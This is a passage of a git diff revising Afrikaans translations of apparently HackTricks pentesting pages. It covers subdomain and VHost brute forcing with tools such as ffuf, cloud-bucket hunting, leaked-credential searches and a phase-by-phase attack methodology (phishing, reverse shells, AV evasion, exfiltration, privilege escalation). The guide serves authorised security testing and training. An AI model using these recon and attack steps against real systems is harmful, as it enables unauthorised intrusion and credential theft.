goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
|
@ -410,7 +410,7 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
|||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Gebaseer op 'n domein, **genereer dit nuwe potensiële subdomeinnaam** gebaseer op aangeduide patrone om te probeer om meer subdomeine te ontdek.
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Gebaseer op 'n domein, **genereer dit nuwe potensiële subdomeinnaam** gebaseer op aangeduidde patrone om te probeer om meer subdomeine te ontdek.
|
||||
|
||||
#### Slim permutasiegenerasie
|
||||
|
||||
|
@ -434,7 +434,7 @@ Kyk na hierdie blogpos wat ek geskryf het oor hoe om die **subdomein ontdekking*
|
|||
|
||||
### **VHosts / Virtuele Gashere**
|
||||
|
||||
As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye in daardie IP** te vind deur in **OSINT bronne** te kyk vir domeine in 'n IP of deur **brute-force VHost domeinnaam in daardie IP**.
|
||||
As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye in daardie IP** te vind deur in **OSINT bronne** te kyk vir domeine in 'n IP of deur **brute-forcing VHost domeinnaam in daardie IP**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
|
@ -442,7 +442,7 @@ Jy kan 'n paar **VHosts in IPs vind met behulp van** [**HostHunter**](https://gi
|
|||
|
||||
**Brute Force**
|
||||
|
||||
As jy vermoed dat 'n subdomein in 'n webbediener versteek kan wees, kan jy probeer om dit te brute-force:
|
||||
As jy vermoed dat 'n subdomein in 'n webbediener versteek kan wees, kan jy probeer om dit te brute force:
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
|
@ -457,7 +457,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
|||
VHostScan -t example.com
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Met hierdie tegniek kan jy selfs toegang verkry tot interne/verborgene eindpunte.
|
||||
Met hierdie tegniek mag jy selfs toegang hê tot interne/verborgene eindpunte.
|
||||
{% endhint %}
|
||||
|
||||
### **CORS Brute Force**
|
||||
|
@ -480,15 +480,15 @@ Jy kan **moniteer** of **nuwe subdomeine** van 'n domein geskep word deur die **
|
|||
Kontroleer vir moontlike [**subdomein oorneem**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
As die **subdomein** na 'n **S3-emmer** **wys**, [**kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
As jy enige **subdomein met 'n IP anders** as diegene wat jy reeds in die batesontdekking gevind het, vind, moet jy 'n **basiese kwesbaarheidsskandering** (met Nessus of OpenVAS) en 'n [**poortskaande**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan** uitvoer. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
|
||||
As jy enige **subdomein met 'n IP verskil** van diegene wat jy reeds in die batesontdekking gevind het, moet jy 'n **basiese kwesbaarheidsskandering** (met Nessus of OpenVAS) en 'n [**poortskaande**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan** uitvoer. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
|
||||
_Nota dat soms die subdomein gehos is binne 'n IP wat nie deur die kliënt beheer word nie, so dit is nie in die omvang nie, wees versigtig._
|
||||
|
||||
## IPs
|
||||
|
||||
In die aanvanklike stappe het jy dalk **sommige IP-reekse, domeine en subdomeine** **gevind**.\
|
||||
Dit is tyd om **al die IPs van daardie reekse te versamel** en vir die **domeine/subdomeine (DNS-vrae).**
|
||||
In die aanvanklike stappe het jy dalk **sommige IP-reekse, domeine en subdomeine gevind**.\
|
||||
Dit is tyd om **al die IPs van daardie reekse te versamel** en vir die **domeine/subdomeine (DNS-navrae).**
|
||||
|
||||
Deur dienste van die volgende **gratis API's** te gebruik, kan jy ook **vorige IPs wat deur domeine en subdomeine gebruik is, vind**. Hierdie IPs mag steeds deur die kliënt besit word (en mag jou toelaat om [**CloudFlare omseilings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind)
|
||||
Deur dienste van die volgende **gratis API's** te gebruik, kan jy ook **vorige IPs wat deur domeine en subdomeine gebruik is, vind**. Hierdie IPs mag steeds aan die kliënt behoort (en mag jou toelaat om [**CloudFlare omseilings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind)
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
|
@ -496,7 +496,7 @@ Jy kan ook kyk vir domeine wat na 'n spesifieke IP-adres wys met die hulpmiddel
|
|||
|
||||
### **Soek na kwesbaarhede**
|
||||
|
||||
**Poortskaande al die IPs wat nie aan CDN's behoort nie** (aangesien jy hoogs waarskynlik niks interessant daar sal vind nie). In die lopende dienste wat ontdek is, mag jy **kwesbaarhede vind**.
|
||||
**Poortskaande al die IPs wat nie aan CDN's behoort nie** (aangesien jy hoogs waarskynlik niks interessant daar sal vind nie). In die lopende dienste wat ontdek is, mag jy **in staat wees om kwesbaarhede te vind**.
|
||||
|
||||
**Vind 'n** [**gids**](../pentesting-network/) **oor hoe om gashere te skandeer.**
|
||||
|
||||
|
@ -504,12 +504,12 @@ Jy kan ook kyk vir domeine wat na 'n spesifieke IP-adres wys met die hulpmiddel
|
|||
|
||||
> Ons het al die maatskappye en hul bates gevind en ons weet IP-reekse, domeine en subdomeine binne die omvang. Dit is tyd om na webbedieners te soek.
|
||||
|
||||
In die vorige stappe het jy waarskynlik al 'n paar **recon van die IPs en domeine ontdek** uitgevoer, so jy mag **al die moontlike webbedieners** **gevind het**. As jy egter nie, gaan ons nou 'n paar **vinnige truuks kyk om webbedieners** binne die omvang te soek.
|
||||
In die vorige stappe het jy waarskynlik al 'n paar **recon van die IPs en domeine ontdek** uitgevoer, so jy mag **al die moontlike webbedieners gevind het**. As jy egter nie, gaan ons nou 'n paar **vinnige truuks sien om webbedieners** binne die omvang te soek.
|
||||
|
||||
Neem asseblief kennis dat dit **georiënteer sal wees op webtoepassingsontdekking**, so jy moet ook **die kwesbaarheid** en **poortskaande** uitvoer (**indien toegelaat** deur die omvang).
|
||||
Neem asseblief kennis dat dit **georiënteer sal wees op webtoepassingsontdekking**, so jy moet ook **die kwesbaarheid** en **poortskaande** uitvoer (**as toegelaat** deur die omvang).
|
||||
|
||||
'n **Vinnige metode** om **oop poorte** wat verband hou met **web** bedieners te ontdek, kan met [**masscan** hier gevind word](../pentesting-network/#http-port-discovery).\
|
||||
Nog 'n vriendelike hulpmiddel om na webbedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy gee net 'n lys van domeine en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Daarbenewens kan jy aandui om ander poorte te probeer:
|
||||
'n Ander vriendelike hulpmiddel om na webbedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy gee net 'n lys van domeine en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Daarbenewens kan jy aandui om ander poorte te probeer:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
|
@ -520,11 +520,11 @@ Nou dat jy **alle webbedieners** in die omvang ontdek het (tussen die **IP's** v
|
|||
|
||||
Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
Boonop kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebruik om oor al die **skermskootte** te loop om jou te vertel **wat waarskynlik kwulnerabiliteite bevat**, en wat nie.
|
||||
Boonop kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebruik om oor al die **skermskootte** te loop om jou te vertel **wat waarskynlik kwesbaarhede bevat**, en wat nie.
|
||||
|
||||
## Publieke Wolk Bate
|
||||
|
||||
Om potensiële wolk bate wat aan 'n maatskappy behoort te vind, moet jy **begin met 'n lys van sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, 'n crypto vir 'n crypto maatskappy kan jy woorde soos: `"crypto", "wallet", "dao", "<domein_naam>", <"subdomein_namme">` gebruik.
|
||||
Om potensiële wolk bates wat aan 'n maatskappy behoort te vind, moet jy **begin met 'n lys van sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, 'n crypto vir 'n crypto maatskappy kan jy woorde soos: `"crypto", "wallet", "dao", "<domein_naam>", <"subdomein_namme">` gebruik.
|
||||
|
||||
Jy sal ook woordlyste van **gewone woorde wat in emmers gebruik word** benodig:
|
||||
|
||||
|
@ -536,9 +536,9 @@ Dan, met daardie woorde moet jy **permutasies** genereer (kyk na die [**Tweede R
|
|||
|
||||
Met die resulterende woordlyste kan jy gereedskap soos [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **of** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
Onthou dat wanneer jy na Wolk Bate soek, jy moet **kyk na meer as net emmers in AWS**.
|
||||
Onthou dat wanneer jy na Wolk Bates soek, jy moet **kyk na meer as net emmers in AWS**.
|
||||
|
||||
### **Soek na kwulnerabiliteite**
|
||||
### **Soek na kwesbaarhede**
|
||||
|
||||
As jy dinge soos **oop emmers of blootgestelde wolk funksies** vind, moet jy **hulle toegang** en probeer om te sien wat hulle jou bied en of jy hulle kan misbruik.
|
||||
|
||||
|
@ -551,7 +551,7 @@ Met die **domeine** en **subdomeine** binne die omvang het jy basies alles wat j
|
|||
* API van [**https://app.snov.io/**](https://app.snov.io/) (gratis weergawe)
|
||||
* API van [**https://minelead.io/**](https://minelead.io/) (gratis weergawe)
|
||||
|
||||
### **Soek na kwulnerabiliteite**
|
||||
### **Soek na kwesbaarhede**
|
||||
|
||||
E-posse sal later handig wees om **brute-force web aanmeldings en outentikasiedienste** (soos SSH) te doen. Ook, hulle is nodig vir **phishings**. Boonop sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die phishing veldtog.
|
||||
|
||||
|
@ -562,7 +562,7 @@ Met die **domeine,** **subdomeine**, en **e-posse** kan jy begin soek na kredens
|
|||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **Soek na kwulnerabiliteite**
|
||||
### **Soek na kwesbaarhede**
|
||||
|
||||
As jy **geldige gelekte** kredensiale vind, is dit 'n baie maklike oorwinning.
|
||||
|
||||
|
@ -575,7 +575,7 @@ Kredensiaal leke is verwant aan hacks van maatskappye waar **sensitiewe inligtin
|
|||
Kredensiale en API's mag in die **openbare repositories** van die **maatskappy** of van die **gebruikers** wat vir daardie github maatskappy werk, gelek word.\
|
||||
Jy kan die **gereedskap** [**Leakos**](https://github.com/carlospolop/Leakos) gebruik om **alle openbare repos** van 'n **organisasie** en sy **ontwikkelaars** af te laai en [**gitleaks**](https://github.com/zricethezav/gitleaks) daaroor outomaties te laat loop.
|
||||
|
||||
**Leakos** kan ook gebruik word om **gitleaks** teen alle **teks** te laat loop wat **URL's** aan dit gegee word, aangesien **webbladsye ook geheime kan bevat**.
|
||||
**Leakos** kan ook gebruik word om **gitleaks** teen al die **teks** wat **URL's** aan dit gegee is, te laat loop, aangesien **webbladsye ook geheime kan bevat**.
|
||||
|
||||
#### Github Dorks
|
||||
|
||||
|
@ -587,22 +587,22 @@ Kyk ook na hierdie **bladsy** vir potensiële **github dorks** wat jy ook in die
|
|||
|
||||
### Paste Leke
|
||||
|
||||
Soms sal aanvallers of net werkers **maatskappy-inhoud op 'n paste site publiseer**. Dit mag of mag nie **sensitiewe inligting** bevat nie, maar dit is baie interessant om daarna te soek.\
|
||||
Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebruik om in meer as 80 paste sites terselfdertyd te soek.
|
||||
Soms sal aanvallers of net werkers **maatskappy-inhoud op 'n paste-webwerf publiseer**. Dit mag of mag nie **sensitiewe inligting** bevat nie, maar dit is baie interessant om daarna te soek.\
|
||||
Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebruik om in meer as 80 paste-webwerwe gelyktydig te soek.
|
||||
|
||||
### Google Dorks
|
||||
|
||||
Ou maar goud google dorks is altyd nuttig om **blootgestelde inligting wat daar nie behoort te wees nie** te vind. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie **duisende** moontlike navrae bevat wat jy nie handmatig kan uitvoer nie. So, jy kan jou gunsteling 10 kies of jy kan 'n **gereedskap soos** [**Gorks**](https://github.com/carlospolop/Gorks) **gebruik om hulle almal uit te voer**.
|
||||
|
||||
_Ontspan dat die gereedskap wat verwag om die hele databasis met die gewone Google-blaaier te laat loop, nooit sal eindig nie, aangesien google jou baie vinnig sal blokkeer._
|
||||
_Nota dat die gereedskap wat verwag om die hele databasis met die gewone Google-blaaier te laat loop, nooit sal eindig nie, aangesien google jou baie vinnig sal blokkeer._
|
||||
|
||||
### **Soek na kwulnerabiliteite**
|
||||
### **Soek na kwesbaarhede**
|
||||
|
||||
As jy **geldige gelekte** kredensiale of API tokens vind, is dit 'n baie maklike oorwinning.
|
||||
|
||||
## Publieke Kode Kwulnerabiliteite
|
||||
## Publieke Kode Kwesbaarhede
|
||||
|
||||
As jy gevind het dat die maatskappy **open-source kode** het, kan jy dit **analiseer** en soek na **kwulnerabiliteite** daarin.
|
||||
As jy gevind het dat die maatskappy **open-source kode** het, kan jy dit **analiseer** en soek na **kwesbaarhede** daarin.
|
||||
|
||||
**Afhangende van die taal** is daar verskillende **gereedskap** wat jy kan gebruik:
|
||||
|
||||
|
@ -616,9 +616,9 @@ Daar is ook gratis dienste wat jou toelaat om **openbare repositories** te **ska
|
|||
|
||||
## [**Pentesting Web Metodologie**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
Die **meerderheid van die kwulnerabiliteite** wat deur foutjagters gevind word, is binne **webtoepassings**, so op hierdie punt wil ek oor 'n **webtoepassing toets metodologie** praat, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/).
|
||||
Die **meerderheid van die kwesbaarhede** wat deur foutjagters gevind word, is binne **webtoepassings**, so op hierdie punt wil ek oor 'n **webtoepassing toets metodologie** praat, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders open source gereedskap**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, as jy nie moet verwag dat hulle baie sensitiewe kwulnerabiliteite sal vind nie, hulle handig is om dit in **werkvloei te implementeer om 'n paar aanvanklike webinligting te hê.**
|
||||
Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders open source gereedskap**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, as jy nie moet verwag dat hulle baie sensitiewe kwesbaarhede sal vind nie, hulle handig is om dit in **werkvloei te implementeer om 'n paar aanvanklike webinligting te hê.**
|
||||
|
||||
## Herhaling
|
||||
|
||||
|
@ -626,11 +626,11 @@ Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde
|
|||
|
||||
So jy het reeds:
|
||||
|
||||
1. Alle **maatskappye** in die omvang gevind
|
||||
1. Alle **maatskappye** binne die omvang gevind
|
||||
2. Alle **bates** wat aan die maatskappye behoort gevind (en 'n paar kwesbaarheid skandeer as dit in omvang is)
|
||||
3. Alle **domeine** wat aan die maatskappye behoort gevind
|
||||
4. Alle **subdomeine** van die domeine gevind (enige subdomein oorneem?)
|
||||
5. Alle **IP's** (van en **nie van CDN's**) in die omvang gevind.
|
||||
5. Alle **IP's** (van en **nie van CDN's**) binne die omvang gevind.
|
||||
6. Alle **webbedieners** gevind en 'n **skermskoot** daarvan geneem (iets vreemd wat 'n dieper kyk werd is?)
|
||||
7. Alle **potensiële publieke wolk bates** wat aan die maatskappy behoort gevind.
|
||||
8. **E-posse**, **kredensiaal leke**, en **geheime leke** wat jou 'n **groot oorwinning baie maklik kan gee**.
|
||||
|
@ -649,7 +649,7 @@ Daar is verskeie gereedskap daar buite wat 'n deel van die voorgestelde aksies t
|
|||
|
||||
* Alle gratis kursusse van [**@Jhaddix**](https://twitter.com/Jhaddix) soos [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
|
||||
|
|
|
@ -10,14 +10,14 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
|
|||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Deel hacking truuks deur PRs in te dien aan die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is besig om aan te stel!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -42,7 +42,7 @@ Let daarop dat as jy 'n eksterne toets uitvoer, sodra jy daarin slaag om toegang
|
|||
### **2-** [**Geniet die netwerk**](pentesting-network/) **(Intern)**
|
||||
|
||||
**Hierdie afdeling geld slegs as jy 'n interne toets uitvoer.**\
|
||||
Voordat jy 'n host aanval, mag jy verkies om **sommige akrediteer te steel** **van die netwerk** of **sniff** sommige **data** om **passief/aktief (MitM)** te leer wat jy binne die netwerk kan vind. Jy kan [**Pentesting Network**](pentesting-network/#sniffing) lees.
|
||||
Voordat jy 'n host aanval, mag jy verkies om **'n paar akrediteerbare inligting** **van die netwerk** te **steel** of **data** te **sniff** om **passief/aktief (MitM)** te leer wat jy binne die netwerk kan vind. Jy kan [**Pentesting Netwerk**](pentesting-network/#sniffing) lees.
|
||||
|
||||
### 3- [Poort Skandering - Diens ontdekking](pentesting-network/#scanning-hosts)
|
||||
|
||||
|
@ -61,7 +61,7 @@ As daar nie enige fancy exploit vir enige lopende diens is nie, moet jy soek na
|
|||
**Ek wil 'n spesiale vermelding maak van die** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **deel (aangesien dit die mees uitgebreide een is).**\
|
||||
Ook, 'n klein gids oor hoe om [**bekende kwesbaarhede in sagteware te vind**](search-exploits.md) kan hier gevind word.
|
||||
|
||||
**As jou diens nie in die indeks is nie, soek in Google** vir ander tutoriaal en **laat my weet as jy wil hê ek moet dit byvoeg.** As jy **niks kan vind** in Google nie, voer jou **eie blinde pentesting** uit, jy kan begin deur **aan die diens te koppel, dit te fuzz en die antwoorde te lees** (indien enige).
|
||||
**As jou diens nie in die indeks is nie, soek in Google** vir ander tutorials en **laat my weet as jy wil hê ek moet dit byvoeg.** As jy **niks kan vind** in Google nie, voer jou **eie blinde pentesting** uit, jy kan begin deur **aan die diens te koppel, dit te fuzz en die antwoorde** (indien enige) **te lees**.
|
||||
|
||||
#### 5.1 Outomatiese Gereedskap
|
||||
|
||||
|
@ -73,13 +73,13 @@ In sommige scenario's kan 'n **Brute-Force** nuttig wees om 'n **diens** te **ko
|
|||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
As jy op hierdie punt nie enige interessante kwesbaarheid gevind het nie, **moet jy dalk probeer om 'n paar phishing** te doen om binne die netwerk te kom. Jy kan my phishing metodologie [hier](phishing-methodology/) lees:
|
||||
As jy op hierdie punt nie enige interessante kwesbaarheid gevind het nie, mag jy **moet probeer om 'n paar phishing** te doen om binne die netwerk te kom. Jy kan my phishing metodologie [hier](phishing-methodology/) lees:
|
||||
|
||||
### **7-** [**Kry Shell**](reverse-shells/)
|
||||
|
||||
Op een of ander manier moet jy 'n **manier gevind het om kode** in die slagoffer uit te voer. Dan, [‘n lys van moontlike gereedskap binne die stelsel wat jy kan gebruik om 'n omgekeerde shell te kry, sal baie nuttig wees](reverse-shells/).
|
||||
|
||||
Veral in Windows mag jy hulp nodig hê om **antivirusse te vermy**: [**Kyk na hierdie bladsy**](../windows-hardening/av-bypass.md)**.**\\
|
||||
Veral in Windows mag jy 'n bietjie hulp nodig hê om **antivirusse te vermy**: [**Kyk na hierdie bladsy**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
### 8- Binne
|
||||
|
||||
|
@ -91,32 +91,32 @@ As jy probleme met die shell het, kan jy hier 'n klein **samestelling van die nu
|
|||
|
||||
### **9 -** [**Exfiltrasie**](exfiltration.md)
|
||||
|
||||
Jy sal waarskynlik moet **data van die slagoffer onttrek** of selfs **iets inbring** (soos privilige eskalasie skripte). **Hier het jy 'n** [**pos oor algemene gereedskap wat jy met hierdie doeleindes kan gebruik**](exfiltration.md)**.**
|
||||
Jy sal waarskynlik moet **data van die slagoffer onttrek** of selfs **iets** (soos voorregverhoging skripte) **invoer**. **Hier het jy 'n** [**pos oor algemene gereedskap wat jy met hierdie doeleindes kan gebruik**](exfiltration.md)**.**
|
||||
|
||||
### **10- Privilege Eskalasie**
|
||||
### **10- Voorregverhoging**
|
||||
|
||||
#### **10.1- Plaaslike Privesc**
|
||||
|
||||
As jy **nie root/Administrator** binne die boks is nie, moet jy 'n manier vind om **privileges te eskaleer.**\
|
||||
Hier kan jy 'n **gids vind om privileges plaaslik in** [**Linux**](../linux-hardening/privilege-escalation/) **en in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)** te eskaleer.**\
|
||||
As jy **nie root/Administrator** binne die boks is nie, moet jy 'n manier vind om **voorregte te verhoog.**\
|
||||
Hier kan jy 'n **gids vind om voorregte plaaslik in** [**Linux**](../linux-hardening/privilege-escalation/) **en in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)** te verhoog.**\
|
||||
Jy moet ook hierdie bladsye oor hoe **Windows werk** nagaan:
|
||||
|
||||
* [**Authentisering, Akrediteer, Token privileges en UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* [**Verifikasie, Akrediteerbare inligting, Token voorregte en UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* Hoe [**NTLM werk**](../windows-hardening/ntlm/)
|
||||
* Hoe om [**akrediteer te steel**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
|
||||
* Hoe om [**akrediteerbare inligting te steel**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
|
||||
* Sommige truuks oor [_**Aktiewe Gids**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**Moet nie vergeet om die beste gereedskap te kyk om Windows en Linux plaaslike Privilege Eskalasie paaie te enumerate nie:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**Moet nie vergeet om die beste gereedskap te kyk om Windows en Linux plaaslike Voorregverhoging paaie te enumerate nie:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Domein Privesc**
|
||||
|
||||
Hier kan jy 'n [**metodologie vind wat die mees algemene aksies verduidelik om te enumerate, privileges te eskaleer en volharding op 'n Aktiewe Gids**](../windows-hardening/active-directory-methodology/). Alhoewel dit net 'n subafdeling van 'n afdeling is, kan hierdie proses **uiters delikaat** wees op 'n Pentesting/Red Team opdrag.
|
||||
Hier kan jy 'n [**metodologie vind wat die mees algemene aksies verduidelik om te enumerate, voorregte te verhoog en volharding op 'n Aktiewe Gids**](../windows-hardening/active-directory-methodology/). Alhoewel dit net 'n subafdeling van 'n afdeling is, kan hierdie proses **uiters delikaat** wees op 'n Pentesting/Red Team opdrag.
|
||||
|
||||
### 11 - POST
|
||||
|
||||
#### **11**.1 - Plundering
|
||||
|
||||
Kyk of jy meer **wagwoorde** binne die host kan vind of as jy **toegang het tot ander masjiene** met die **privileges** van jou **gebruiker**.\
|
||||
Kyk of jy meer **wagwoorde** binne die host kan vind of as jy **toegang het tot ander masjiene** met die **voorregte** van jou **gebruiker**.\
|
||||
Vind hier verskillende maniere om [**wagwoorde in Windows te dump**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
||||
|
||||
#### 11.2 - Volharding
|
||||
|
@ -128,9 +128,9 @@ TODO: Voltooi volharding Post in Windows & Linux
|
|||
|
||||
### 12 - Pivoting
|
||||
|
||||
Met die **versamelde akrediteer** kan jy toegang tot ander masjiene hê, of dalk moet jy **nuwe hosts ontdek en skandeer** (begin die Pentesting Metodologie weer) binne nuwe netwerke waar jou slagoffer gekoppel is.\
|
||||
In hierdie geval kan tonnelering nodig wees. Hier kan jy [**'n pos oor tonnelering vind**](tunneling-and-port-forwarding.md).\
|
||||
Jy moet beslis ook die pos oor [Aktiewe Gids pentesting Metodologie](../windows-hardening/active-directory-methodology/) nagaan. Daar sal jy oulike truuks vind om lateraal te beweeg, privileges te eskaleer en akrediteer te dump.\
|
||||
Met die **versamelde akrediteerbare inligting** kan jy toegang tot ander masjiene hê, of dalk moet jy **nuwe hosts ontdek en skandeer** (begin die Pentesting Metodologie weer) binne nuwe netwerke waar jou slagoffer gekoppel is.\
|
||||
In hierdie geval kan tonneling nodig wees. Hier kan jy [**'n pos oor tonneling vind**](tunneling-and-port-forwarding.md).\
|
||||
Jy moet beslis ook die pos oor [Aktiewe Gids pentesting Metodologie](../windows-hardening/active-directory-methodology/) nagaan. Daar sal jy oulike truuks vind om lateraal te beweeg, voorregte te verhoog en akrediteerbare inligting te dump.\
|
||||
Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie nuttig wees om op Windows omgewings te pivot.
|
||||
|
||||
### MEER
|
||||
|
@ -151,9 +151,9 @@ Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie n
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is besig om aan te stel!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -167,7 +167,7 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
|
|||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
